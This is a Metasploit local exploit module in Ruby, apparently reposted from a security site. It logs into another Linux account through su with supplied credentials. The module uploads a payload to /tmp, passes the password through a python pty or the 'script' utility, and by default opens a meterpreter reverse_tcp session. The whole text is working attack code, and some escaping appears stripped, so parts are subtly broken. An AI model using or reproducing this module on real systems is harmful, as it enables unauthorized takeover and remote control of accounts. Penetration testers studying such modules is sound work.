Authored by Gavin Youker | Site metasploit.com

This Metasploit module attempts to create a new login session by invoking the su command of a valid username and password. If the login is successful, a new session is created via the specified payload. Because su forces passwords to be passed over stdin, this module attempts to invoke a pseudo-terminal with python, python3, or script.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux
include Msf::Post::Linux::System
include Msf::Post::Unix
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck

Rank = NormalRanking

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Login to Another User with Su on Linux / Unix Systems',
'Description' => %q{
This module attempts to create a new login session by
invoking the su command of a valid username and password.

If the login is successful, a new session is created via
the specified payload.

Because su forces passwords to be passed over stdin, this
module attempts to invoke a psuedo-terminal with python,
python3, or script.
},
'License' => MSF_LICENSE,
'Author' => 'Gavin Youker <[email protected]>',
'DisclosureDate' => '1971-11-03',
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux x86', {
'Arch' => ARCH_X86,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Linux x86_64', {
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'SessionTypes' => ['shell', 'meterpreter']
)
)

register_options([
OptString.new('USERNAME', [true, 'Username to authenticate with.', 'root']),
OptString.new('PASSWORD', [false, 'Password to authenticate with.'])
])

register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end

# Main function to run the exploit.
def exploit
fail_with(Failure::NoAccess, 'username not found') unless user_exists(datastore['USERNAME'])

# Upload the payload and stager files.
print_status('Uploading payload to target')
payload_file = build_payload(generate_payload_exe, datastore['WritableDir'])

# Execute the payload.
print_status('Attempting to login with su')
exec_payload(datastore['USERNAME'], datastore['PASSWORD'], payload_file)
end

# Function to check if target is exploitable.
def check
# Make sure su is installed.
unless command_exists?('su')
vprint_error('su not found on target machine')
return CheckCode::Safe
end

# Make sure a program to run the exploit is installed.
prorgam = find_exec_program
unless prorgam
vprint_error('One of the following programs must be installed on target: python, python3, script')
return CheckCode::Safe
end

# Make sure script requirements are met.
if prorgam == 'script'
# Check for command dependencies.
commands = ['sh', 'sleep', 'echo', 'base64']
for command in commands
unless command_exists?(command)
vprint_error("The '#{command}' must be installed on target")
return CheckCode::Safe
end
end

# Check that the script program is apart of the util-linux package.
version = find_util_linux_verison
unless version
vprint_error("The 'script' program must be of the 'util-linux' package")
return CheckCode::Safe
end

# Check that util-linux in of a compatible version.
unless version >= Gem::Version.new('2.25')
vprint_error("The package 'util-linux' must be version 2.25 or higher")
return CheckCode::Safe
end
end

return CheckCode::Appears
end

# Function to build and write the payload.
def build_payload(contents, dir)
fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir)

filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"

write_file(filepath, contents)
chmod(filepath, 755)
register_files_for_cleanup(filepath)

return filepath
end

# Function to execute the payload through the stager.
def exec_payload(username, password, payload)
# Load the exploit based on avaliable options.
if password
program = find_exec_program
if ['python', 'python3'].include?(program)
vprint_status("Using '#{program}' to load exploit")

python = 'import os, pty, base64;'
'read = lambda fd: os.read(fd, 1024);'
"write = lambda fd: base64.b64decode('#{Rex::Text.encode_base64(password)}');"
"command = 'su - #{username} -c #{payload}';"
'os.close(0);'
'pty.spawn(command.split(), read, write);'

command = "#{program} -c "#{python}""
elsif program == 'script'
vprint_status("Using 'script' to load exploit")
command = "sh -c 'sleep 1; echo #{Rex::Text.encode_base64(password)} | base64 -d' | script /dev/null -qc 'su - #{username} -c #{payload}'"
end
else
command = "su - #{username} -c #{payload}"
end

# Execute the exploit.
response = cmd_exec(command)

fail_with(Failure::NoAccess, 'invalid password') if response.to_s.include?('Authentication failure')
return true
end

def find_exec_program
return 'python' if command_exists?('python')
return 'python3' if command_exists?('python3')
return 'script' if command_exists?('script')

return false
end

# Function to check if the user exists.
def user_exists(username)
return get_users.any? { |user| user[:name] == username }
end

# Function to get util-linux version.
def find_util_linux_verison
response = cmd_exec('script -V')
match = response.match(/script from util-linux (?<version>d.d+(.d+)?)/)

return false unless match

return Gem::Version.new(match[:version])
end
end